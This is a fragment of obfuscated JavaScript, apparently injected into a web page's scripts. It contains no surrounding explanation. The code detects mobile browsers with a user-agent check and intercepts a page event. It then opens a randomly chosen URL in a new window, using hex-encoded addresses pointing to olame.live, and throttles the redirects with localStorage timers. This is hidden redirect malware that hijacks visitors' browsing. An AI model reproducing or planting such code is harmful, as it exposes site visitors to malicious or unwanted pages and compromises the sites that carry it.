_0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x4a\x57\x52\x30\x63\x300','\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6c\x61\x6d\x65\x2e\x6c\x69\x76\x65\x2f\x6e\x51\x48\x31\x63\x391',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());